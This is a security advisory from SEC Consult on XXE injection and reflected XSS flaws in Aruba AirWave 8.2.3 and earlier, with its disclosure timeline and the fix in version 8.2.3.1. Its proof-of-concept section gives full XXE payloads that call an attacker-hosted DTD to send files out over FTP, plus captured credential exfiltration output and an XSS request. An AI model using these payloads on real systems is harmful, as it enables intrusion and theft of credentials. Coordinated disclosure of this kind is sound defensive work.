Aruba AirWave 8.2.3 XXE Injection / Cross Site Scripting

`SEC Consult Vulnerability Lab Security Advisory < 20170301-0 >  
=======================================================================  
title: XML External Entity Injection (XXE),  
Reflected Cross Site Scripting  
product: Aruba AirWave  
vulnerable version: <=8.2.3  
fixed version: 8.2.3.1  
CVE number: CVE-2016-8526, CVE-2016-8527  
impact: high  
homepage: http://www.arubanetworks.com/  
found: 2016-11-21  
by: P. Morimoto (Office Bangkok)  
SEC Consult Vulnerability Lab  
  
An integrated part of SEC Consult  
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow  
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich  
  
https://www.sec-consult.com  
=======================================================================  
  
Vendor description:  
-------------------  
"Aruba, a Hewlett Packard Enterprise company, (formerly "Aruba Networks, Inc.")  
is a networking vendor selling enterprise wireless LAN and edge access  
networking equipment. The company has over 1,800 employees and is  
headquartered in Sunnyvale, California. Aruba's core products are access points  
(APs), mobility controllers, and network management software through their  
Airwave Management Platform product."  
  
Source: https://en.wikipedia.org/wiki/Aruba_Networks  
  
  
Business recommendation:  
------------------------  
SEC Consult recommends not to use the product in a production environment  
until a thorough security review has been performed by security professionals  
and all identified issues have been resolved.  
  
  
Vulnerability overview/description:  
-----------------------------------  
1) XML External Entity Injection (CVE-2016-8526)  
The used XML parser is resolving external XML entities which allows attackers  
to read files and send requests to systems on the internal network (e.g port  
scanning).  
  
The vulnerability can be exploited by a low privileged read-only user  
to read sensitive information / files with malicious XML code.  
Note that as Aruba's passwords are encrypted with a shared static key,  
privilege escalation to admin role is also possible!  
  
Multiple different functions are affected by XXE.  
  
According to the vendor another researcher has also found one of the XXE issues, hence  
credits go to them as well.  
Vendor: "Although the team hasn't reproduced this yet, Iave had other reports  
come in through our bug bounty program last month about XXE issues in VisualRF.  
One of the issues you reported is the same, and you reported three others that we  
haven't seen yet."  
  
  
2) Reflected Cross Site Scripting (CVE-2016-8527)  
Due to the lack of input validation, an attacker can insert malicious JavaScript  
code to be executed under a victim's browser context.  
  
  
Proof of concept:  
-----------------  
1) XML External Entity Injection (CVE-2016-8526)  
a) XXE in VisualRF Backup Sites  
  
Login as any user role (including read-only/standard user)  
Navigate to VisualRF > Floor Plans > Select 'View' under 'Network' section.  
Select a campus (e.g. Default Campus) > Select 'Edit' >  
Select action 'Export Floor Plans' > Ok  
  
POST /visualrf/backup_sites HTTP/1.1  
Host: <AirWaveHost>  
[...]  
  
xml=<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE x [<!ENTITY %25 foo SYSTEM  
"http://<AttackerHost>:1234/sectest.dtd">%25%66%6f%6f%3b%25%70%61%72%61%6d%31%3b]><visualrf:sites  
xmlns:visualrf="http://www.airwave.com/"  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
version="1">%26%65%78%66%69%6c%3b</visualrf:sites>  
  
$ cat sectest.dtd  
<!ENTITY % data SYSTEM "file:///<removed>">  
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://<Attacker>:2121/%data;'>">  
  
$ python -m SimpleHTTPServer 1234  
$ wget https://raw.githubusercontent.com/ONsec-Lab/scripts/master/xxe-ftp-server.rb  
$ ruby xxe-ftp-server.rb  
FTP. New client connected  
< USER anonymous  
< PASS Java1.8.0_102@  
> 230 more data please!  
< TYPE I  
> 230 more data please!  
< CWD [General]  
[...]  
< ; set global WLC credentials  
> 230 more data please!  
< wlc_user: <username>  
> 230 more data please!  
< wlc_pasw: <password>  
[...]  
  
b) XXE in Visual RF Site Restore  
$ cat version.xml  
<?xml version="1.0" encoding="UTF-8" standalone="no"?>  
<!DOCTYPE x [<!ENTITY % foo SYSTEM  
"http://<AttackerHost>:1234/version.dtd">%foo;%param1;]>  
&exfil;<backup backup-time="Mon Nov 21 14:44:41 CET 2016" build="${svn.build}"  
plan-mode="false" version="8.0.0"/>  
  
$ zip backup_sectest.zip version.xml  
adding: version.xml (deflated 16%)  
  
And then just upload the backup_sectest.zip via the restore functionality.  
  
POST /nf/visualrf_siterestore HTTP/1.1  
Host: <AirWaveHost>  
[...]  
  
------WebKitFormBoundaryjPK7DdVbiNVDEJ2A  
Content-Disposition: form-data; name="zip"; filename="backup_sectest.zip"  
Content-Type: application/zip  
  
[.. backup_sectest.zip ..]  
------WebKitFormBoundaryjPK7DdVbiNVDEJ2A  
Content-Disposition: form-data; name="import"  
  
Import  
------WebKitFormBoundaryjPK7DdVbiNVDEJ2A--  
  
  
c) XXE in Visual RF Verify  
POST /visualrf/verify/<Site-ID> HTTP/1.1  
Host: <AirWaveHost>  
[...]  
  
<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE x [<!ENTITY % foo SYSTEM  
"http://<AttackerHost>:1234/sectest.dtd">%foo;%param1;]><visualrf:sites  
xmlns:visualrf="http://www.airwave.com/"  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="1"><site  
[...]  
/>&exfil;</site></visualrf:sites>  
  
  
2) Reflected Cross Site Scripting (CVE-2016-8527)  
Note that the XSS payload can be used with either HTTP parameter 'start' or 'end'.  
  
GET  
/visualrf/group_list.xml?aps=1&start=%3ca%20xmlns%3aa%3d'http%3a%2f%2fwww.w3.org%2f1999%2fxhtml'%3e%3ca%3abody%20onload%3d'alert(/XSS/)'%2f%3e%3c%2fa%3e&end=500&match  
HTTP/1.1  
Host: <AirWaveHost>  
  
[...]  
HTTP/1.1 200 OK  
[...]  
  
<?xml version='1.0' encoding='UTF-8' standalone='yes'?>  
<results>  
<error>For input string: "<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body  
onload='alert(/XSS/)'/></a>"</error>  
</results>  
  
  
  
Vulnerable / tested versions:  
-----------------------------  
The following versions are affected by the identified vulnerabilities which  
were the most recent versions at the time of discovery:  
Aruba AirWave version <8.2.3.1  
  
  
Vendor contact timeline:  
------------------------  
2016-11-23: Contacting vendor through [email protected]  
2016-11-23: Vendor: Established communication over encrypted channel and asked  
for extending the disclosure date due to the upcoming holidays  
2017-01-18: CVE-2016-8526 was assigned for the XXE issue, and CVE-2016-8527 for  
the reflected XSS issue.  
2017-02-21: Aruba AirWave 8.2.3.1 was released.  
2017-03-01: Coordinated disclosure of the security advisory.  
  
  
Solution:  
---------  
Update to version 8.2.3.1 or later.  
  
http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2017-001.txt  
https://support.arubanetworks.com/Documentation/tabid/77/DMXModule/512/EntryId/23738/Default.aspx  
  
  
Workaround:  
-----------  
None  
  
  
Advisory URL:  
-------------  
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm  
  
  
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EOF Pichaya Morimoto / @2017  
  
`